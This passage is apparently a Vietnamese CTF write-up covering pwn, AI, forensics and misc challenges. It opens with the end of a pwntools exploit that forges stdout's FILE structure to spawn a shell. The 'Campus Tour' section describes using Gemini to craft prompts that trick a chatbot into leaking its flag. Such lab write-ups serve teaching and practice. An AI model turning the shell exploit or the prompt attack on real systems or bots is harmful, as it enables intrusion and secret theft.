update(3, 100) signup(2) fight(2, b"121212232112313212312313212122221231231321") update(3, 150) fight(2, b"121212232112313212312313212122221231231321") update(3, 150) target_stdout = heap +0x7e0 stdout_lock = libc.address + 0x205710 # _IO_stdfile_1_lock (symbol not exported) stdout = target_stdout fake_vtable = libc.sym['_IO_wfile_jumps']-0x18 # our gadget gadget = libc.address + 0x00000000001724f0 # add rdi, 0x10 ; jmp rcx fake = FileStructure(0) fake.flags = 0x3b01010101010101 fake._IO_read_end=libc.sym['system'] fake._IO_save_base = gadget fake._IO_write_end=u64(b'/bin/sh\x00') # will be at rdi+0x10 fake._lock=stdout_lock fake._codecvt= stdout + 0xb8 fake._wide_data = libc.address + 0x2037e0 fake.unknown2=p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable) message(bytes(fake)) payload = p64(target_stdout) # GDB() message(payload.ljust((0x30 - 1 - 8 - 1), b"\0")) p.interactive() ``` # AI ## AI/gsql1 Dùng gemini =))) chat: https://aistudio.google.com/app/prompts?state=%7B%22ids%22:%5B%221tfqFhT3SXfqT1x1-mmYWwUMsRDO6J75P%22%5D,%22action%22:%22open%22,%22userId%22:%22107397621963105812149%22,%22resourceKeys%22:%7B%7D%7D&usp=sharing ![image](https://hackmd.io/_uploads/HyAtBB58le.png) ## AI/Campus Tour **Giải pháp:** Ở thử thách này mình sẽ sử dụng AI để đấm con bot này. ![image](https://hackmd.io/_uploads/HkzJTd9Lxx.png) Đầu tiên mình sẽ đưa ra thông tin về con bot và sau đó là những gợi ý mà mình mong muốn con bot suy luận và trả về kết quả như đó: ![image](https://hackmd.io/_uploads/BkuYIuqLxe.png) tiếp theo thì cứ lấy các prompt mà nó gửi đến để gửi cho bot, thì đến cái prompt này thì thành công được bot nhả flag: ![image](https://hackmd.io/_uploads/S1iYUc58ge.png) Gửi câu lệnh này lên bot và lấy được flag: ![Screenshot 2025-07-19 140301](https://hackmd.io/_uploads/Bk7hL49Iex.png) ## AI/PixelPingu Thử thách AI này cung cấp 1 đường dẫn Link: http://103.199.17.56:25001/: ![image](https://hackmd.io/_uploads/SJE5sVqLgx.png) Và ngoài ra cũng cung cấp thêm source docker. Đại khái là Sử dụng HTML5 Canvas với JavaScript để vẽ trên canvas 512x512, sau đó downscale về 128x128 và convert thành RGBA byte array để submit. Cụ thể: * Frontend: HTML5 Canvas + JS tools (brush, palette, clear, fill, eraser) * Canvas size: 512x512 để vẽ → 128x128 preview để submit * Data format: Canvas pixels → ImageData → RGBA array → POST request Để solve challeng này ta Cần có một ảnh làm base để mutate, ở đây mình dùng ảnh này gen từ AI (**Có thể là ảnh penguin hoặc bất kỳ ảnh nào có structure**): ![44b2dab3-9214-4eef-8267-c9920df92e59](https://hackmd.io/_uploads/r1jTlH98lg.jpg) Solve Script: ``` import requests, random from PIL import Image, ImageFilter, ImageOps host = "http://103.199.17.56:25001" endP = "/submit_artwork" def iMage(img: Image.Image): img = img.resize((128,128)).convert("RGBA") return {"canvas_data": list(img.tobytes())} def send(img): r = requests.post(host+endP, json=iMage(img), timeout=10) r.raise_for_status() return r.json() def mutate(im): x = im.copy() ops = [lambda i: i.rotate(90, expand=True),lambda i: i.filter(ImageFilter.GaussianBlur(4)),lambda i: ImageOps.posterize(i, 2),lambda i: ImageOps.invert(i),] for i in range(random.randint(1,3)): x = random.choice(ops)(x) return x # Ảnh gốc để mutate orig = Image.open("E:/hcmus-ctf/44b2dab3-9214-4eef-8267-c9920df92e59.jpg") print("Original:", send(orig)) seen = set() parts = {} for attempt in range(200): try: img2 = mutate(orig) # Tạo variations từ ảnh gốc res = send(img2) # Gửi lên server fP = res["flag_part"] if fP not in seen: seen.add(fP) parts[fP] = res['judge_score'] print(f"Part {len(seen)}: '{fP}' (score: {res['judge_score']:.1f})") if len(seen) >= 4: break except: continue # Reconstruct flag print(f"\nFound {len(parts)} parts:") for part, score in sorted(parts.items(), key=lambda x: x[1]): print(f" '{part}' (score: {score:.1f})") # Build flag logically start = [p for p in parts.keys() if 'HCMUS-CTF{' in p][0] end = [p for p in parts.keys() if p.endswith('}')][0] middle = [p for p in parts.keys() if 'HCMUS-CTF{' not in p and not p.endswith('}')] flag = start + ''.join(middle) + end print(f"\nFinal Flag: {flag}") ``` output: ![image](https://hackmd.io/_uploads/S13vEr98ex.png) # Forensics ## Forensics/TLS Challenge Thử thách cho 1 file pcap và 1 file keylog Mở file pcap bằng wireshark và load file keylog vào để có thể xem được data của các gói tin https: ![image](https://hackmd.io/_uploads/BkhAwHqIlx.png) Chuột phải follow luồng http và lấy được flag ![image](https://hackmd.io/_uploads/ryCf_S5Iex.png) ## Forensics/Trashbin Thử thách này phần lớn là gói tin smb đang thực hiện tạo ra các file zip trên máy đích trong mạng local Lưu hết về: ![image](https://hackmd.io/_uploads/r1HeorcLel.png) Solve script: ![image](https://hackmd.io/_uploads/S1PKqBqIxl.png) ``` #!/bin/bash for f in *.zip; do unzip -o "$f" >/dev/null 2>&1 done ls *.txt | sed 's/.*_\([0-9]\+\)\.txt/\1 &/' | sort -n | cut -d' ' -f2- | xargs cat ``` output: ![image](https://hackmd.io/_uploads/HkqNcr9Uex.png) ## Forensics/Disk Partition Thử thách cung cấp 1 file disk, tiến hành load vào ftk imager để phan tích: ![image](https://hackmd.io/_uploads/BJOg6r5Iel.png) Thấy được flag này trong vùng unallocated space ## Forensics/File Hidden Ở thử thách này author cung cấp 1 file audio(.wav) Lúc đầu thì mình mở lên bằng tool sonic gì ấy để xem phổ âm thanh xem có text ẩn trên đó nhưng không thấy và sau khi search gg tìm được blog này về 1 trong những kỹ thuật giấu tin phổ biến qua các bit lsb: https://nitrozeus.gitbook.io/ctfs/2023/brainhack-cddc-2023/audio-steganography Ở trong blog này cũng có 1 source code để extract các bit giấu theo kiểu lsb ra: ![image](https://hackmd.io/_uploads/B13TAS5Ile.png) * Sau khi lấy về chạy thử thì kết quả được như này: * ![Screenshot 2025-07-19 113953](https://hackmd.io/_uploads/H1-7J858ll.png) Ta thấy có 1 file nén zip chứa flag trong đó nhưng khi lấy về có vẻ bị lỗi nên tôi sẽ tiến hành thêm 1 số chức năng vào source code ở blog trên để lấy file zip và extract flag: :::spoiler ``` import wave import os import zipfile import io def extract_lsb_data(wav_file): with wave.open(wav_file, 'rb') as song: frame_bytes = bytearray(song.readframes(song.getnframes())) extracted_bits = [frame_bytes[i] & 1 for i in range(len(frame_bytes))] bytes_data = bytearray() for i in range(0, len(extracted_bits), 8): if i + 8 <= len(extracted_bits): byte_val = 0 for j in range(8): byte_val |= (extracted_bits[i + j] << (7 - j)) bytes_data.append(byte_val) return bytes_data def fix_zip_data(data): zip_start = data.find(b'\x50\x4B\x03\x04') if zip_start == -1: print("No ZIP signature found!") return data zip_data = data[zip_start:] eocd_signature = b'\x50\x4B\x05\x06' eocd_pos = zip_data.rfind(eocd_signature) if eocd_pos != -1: print(f"End of central directory found at: {eocd_pos}") zip_data = zip_data[:eocd_pos + 22] else: print("End of central directory not found, trying to repair...") last_header = zip_data.rfind(b'\x50\x4B\x03\x04') if last_header > 0: descriptor_pos = zip_data.find(b'\x50\x4B\x07\x08', last_header) if descriptor_pos != -1: zip_data = zip_data[:descriptor_pos + 16] return zip_data def validate_and_fix_zip(data): try: with zipfile.ZipFile(io.BytesIO(data), 'r') as zf: file_list = zf.namelist() print(f"Valid ZIP with {len(file_list)} files: {file_list}") return data, True except zipfile.BadZipFile: print("Bad ZIP file detected, attempting to fix...") fixed_data = fix_zip_data(data) try: with zipfile.ZipFile(io.BytesIO(fixed_data), 'r') as zf: file_list = zf.namelist() print(f"Successfully fixed ZIP with {len(file_list)} files: {file_list}") return fixed_data, True except: print("Could not fix ZIP file") return data, False except Exception as e: print(f"Error validating ZIP: {e}") return data, False def extract_zip(wav_file): # Extract LSB data data = extract_lsb_data(wav_file) zip_sig_pos = data.find(b'\x50\x4B\x03\x04') if zip_sig_pos >= 0: print(f"Found ZIP at position {zip_sig_pos}") data = data[zip_sig_pos:] fixed_data, is_valid = validate_and_fix_zip(data) data = fixed_data else: print("No ZIP signature found") return zip_file = "extracted_fixed.zip" with open(zip_file, 'wb') as f: f.write(data) try: with zipfile.ZipFile(zip_file, 'r') as zip_ref: zip_ref.extractall(".") except zipfile.BadZipFile: try: with zipfile.ZipFile(io.BytesIO(data), 'r') as zip_ref: zip_ref.extractall(".") except Exception as e: print(f"Could not repair ZIP: {e}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": wav_file = "JACK_J97_|_THIÊN_LÝ_ƠI.wav" if os.path.exists(wav_file): extract_zip(wav_file) else: print(f"File not found: {wav_file}") ``` ::: output: ![image](https://hackmd.io/_uploads/BkLErL9Iee.png) # Misc ## Misc/Is This Bad Apple? Ở thử thách này author cho 1 link du túp: ![image](https://hackmd.io/_uploads/rytwcP5Ugx.png) Có thể thấy video bị làm nhòe rồi, thì mình thử chụp hình ảnh này sau đó dùng gg lens để soi xem có blog hay wu nào có dạng tương tự như này không, thì: Sau khi tìm kiếm thì cũng thấy 1 bài writeup này: https://medium.com/@karimelsayed0x1/striking-gold-gg-ctf-a61148a0ca08 * Trong blog này có nói đến việc ẩn file trong video youtube và có gắn cả link tool github: * ![image](https://hackmd.io/_uploads/HJwq3wqUll.png) Tiếp tục làm theo github này: https://github.com/DvorakDwarf/Infinite-Storage-Glitch người ta có hướng dẫn chi tiết: * Tải video từ youtube về với format khớp với yêu cầu tool trên (.avi): `yt-dlp -f "bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best" --merge-output-format avi https://www.youtube.com/watch?v=X-HSIqgm9Rs` * Sau khi đã setup thành công như hướng dẫn trên github thì chạy lệnh sau: ``` docker run -it --rm -v ${PWD}:/home/Infinite-Storage-Glitch isg ./target/release/isg_4real Welcome to ISG (Infinite Storage Glitch) This tool allows you to turn any file into a compression-resistant video that can be uploaded to YouTube for Infinite Storage:tm: How to use: 1. Zip all the files you will be uploading 2. Use the embed option on the archive (THE VIDEO WILL BE SEVERAL TIMES LARGER THAN THE FILE, 4x in case of optimal compression resistance preset) 3. Upload the video to your YouTube channel. You probably want to keep it up as unlisted 4. Use the download option to get the video back 5. Use the dislodge option to get your files back from the downloaded video 6. PROFIT > Pick what you want to do with the program Dislodge > What is the path to your video ? /home/Infinite-Storage-Glitch/FunnyVideo.avi > Where should the output go ? /home/Infinite-Storage-Glitch/flag On frame: 20 On frame: 40 On frame: 60 On frame: 80 On frame: 100 On frame: 120 On frame: 140 Video read successfully Dislodging frame ended in 4784ms File written successfully ``` Vào đường dẫn output trên check xem: ![image](https://hackmd.io/_uploads/H1xDYdqLxx.png) thêm ext .png vô và lấy được flag: ![image](https://hackmd.io/_uploads/r1rhYu58xe.png) ## Misc/Is This Bad Apple? - The Sequel Mình sẽ tìm flag bài này trong link youtube của bài trước ![image](https://hackmd.io/_uploads/rJDwRd5Lgx.png) ``` /mnt/e/hcmus-ctf/2$ yt-dlp -f "bestvideo+bestaudio" --keep-video --write-description --write-thumbnail --write-subs --write-info-json --sub-format "ass/srt/best" --convert-subs srt -o "%(title)s.%(ext)s" "https://www.youtube.com/watch?v=X-HSIqgm9Rs" [youtube] Extracting URL: https://www.youtube.com/watch?v=X-HSIqgm9Rs [youtube] X-HSIqgm9Rs: Downloading webpage [youtube] X-HSIqgm9Rs: Downloading tv client config [youtube] X-HSIqgm9Rs: Downloading player 69b31e11-main [youtube] X-HSIqgm9Rs: Downloading tv player API JSON [youtube] X-HSIqgm9Rs: Downloading ios player API JSON [youtube] X-HSIqgm9Rs: Downloading m3u8 information [info] X-HSIqgm9Rs: Downloading 1 format(s): 247+251 [info] Writing video description to: Funny Video.description [info] There are no subtitles for the requested languages [info] Downloading video thumbnail 41 ... [info] Video Thumbnail 41 does not exist [info] Downloading video thumbnail 40 ... [info] Video Thumbnail 40 does not exist [info] Downloading video thumbnail 39 ... [info] Video Thumbnail 39 does not exist [info] Downloading video thumbnail 38 ... [info] Video Thumbnail 38 does not exist [info] Downloading video thumbnail 37 ... [info] Writing video thumbnail 37 to: Funny Video.webp [info] Writing video metadata as JSON to: Funny Video.info.json [SubtitlesConvertor] There aren't any subtitles to convert [download] Destination: Funny Video.f247.webm [download] 100% of 2.84MiB in 00:00:00 at 8.62MiB/s [download] Destination: Funny Video.f251.webm [download] 100% of 7.36KiB in 00:00:00 at 24.62KiB/s [Merger] Merging formats into "Funny Video.webm" ``` MỞ file .webp ở trong folder và lấy được flag ![image](https://hackmd.io/_uploads/HJW1ktcLle.png)